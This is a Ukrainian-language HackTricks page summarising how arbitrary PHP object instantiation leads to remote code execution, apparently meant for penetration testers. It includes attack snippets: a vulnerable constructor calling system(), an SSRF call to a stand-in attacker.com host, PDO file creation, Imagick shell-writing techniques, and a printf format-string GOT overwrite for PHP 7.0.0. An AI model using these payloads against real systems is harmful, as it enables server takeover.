PHP - RCE зловживання створенням об'єктів: new $_GET"a"

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Вступ

Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"]), може призвести до Remote Code Execution (RCE), як детально описано в writeup. Цей документ висвітлює різні стратегії для досягнення RCE.

RCE через користувацькі класи або автозавантаження

Синтаксис new $a($b) використовується для створення екземпляра класу, де $a позначає ім'я класу, а $b — перший аргумент, переданий конструктору. Ці змінні можуть походити з вхідних даних користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де можуть мати інші типи.

Розглянемо приклад коду нижче:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

У цьому випадку встановлення $a як App або App2 і $b як системної команди (наприклад, uname -a) призводить до виконання цієї команди.

Функції автозавантаження можна використати, якщо такі класи безпосередньо недоступні. Ці функції автоматично підвантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register або __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Поведінка автозавантаження змінюється залежно від версій PHP, що відкриває різні можливості RCE.

RCE через вбудовані класи

За відсутності кастомних класів або автозавантажувачів, вбудованих класів PHP може вистачити для RCE. Кількість таких класів коливається від 100 до 200 залежно від версії PHP та розширень. Їх можна перелічити за допомогою get_declared_classes().

Конструктори, що представляють інтерес, можна визначити через reflection API, як показано в наведеному прикладі та за посиланням https://3v4l.org/2JEGF.

RCE через конкретні методи включає:

SSRF + Phar Deserialization

Клас SplFileObject дозволяє SSRF через свій конструктор, даючи змогу підключатися до будь-якого URL:

php
new SplFileObject('http://attacker.com/');

SSRF може призвести до атак десеріалізації у версіях PHP до 8.0, використовуючи протокол Phar.

Експлуатація PDOs

Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, що потенційно дозволяє створення файлів або інші взаємодії:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори SoapClient та SimpleXMLElement, залежно від версії libxml2.

RCE через розширення Imagick

Під час аналізу залежностей проєкту було виявлено, що Imagick можна використати для виконання команд шляхом створення нових об’єктів. Це дає можливість експлуатації вразливостей.

VID парсер

Виявлено здатність VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у веб-доступній директорії та досягнення Remote Code Execution (RCE).

VID Parser + File Upload

Зауважено, що PHP тимчасово зберігає завантажені файли в /tmp/phpXXXXXX. VID парсер в Imagick, використовуючи протокол msl, може обробляти wildcards у шляхах файлів, що полегшує переміщення тимчасового файлу у вибране місце. Цей метод дає додатковий підхід для довільного запису файлів у файлову систему.

PHP Crash + Brute Force

Метод, описаний у original writeup, полягає у завантаженні файлів, які спричиняють падіння сервера до видалення. Шляхом брутфорсу імені тимчасового файлу Imagick може виконати довільний PHP код. Проте ця техніка виявилася ефективною лише в застарілій версії ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Коли ім’я класу контролює введення користувача (наприклад, new $_GET['model']()), у PHP 7.0.0 під час рефакторингу Throwable виникла тимчасова помилка, коли движок помилково обробляв ім’я класу як форматний рядок printf під час його вирішення. Це дозволяє класичні printf-подібні примітиви всередині PHP: leaks with %p, контроль кількості записів через специфікатори ширини, та довільні записи з %n проти вказівників в процесі (наприклад, GOT-енетрі в ELF-збірках).

Мінімальний приклад вразливого шаблону:

php
<?php
$model = $_GET['model'];
$object = new $model();

Опис експлуатації (з посилання):

  • Leak адреси через %p в імені класу, щоб знайти записувану ціль:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Використовуйте позиційні параметри та специфікатори ширини, щоб встановити точну кількість байтів, потім %n щоб записати це значення за адресою, досяжною на стеку, націлюючись на GOT slot (наприклад, free) для часткового перезапису в system.
  • Спровокуйте перехоплену функцію, передавши ім'я класу, яке містить shell pipe, щоб викликати system("id").

Примітки:

  • Працює тільки на PHP 7.0.0 (Bug #71105); виправлено в наступних релізах. Рівень серйозності: критичний, якщо існує можливість довільної інстанціації класів.
  • Типові payloads ланцюжать багато %p, щоб пройти стек, потім %.<width>d%<pos>$n для часткового перезапису.

Джерела

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks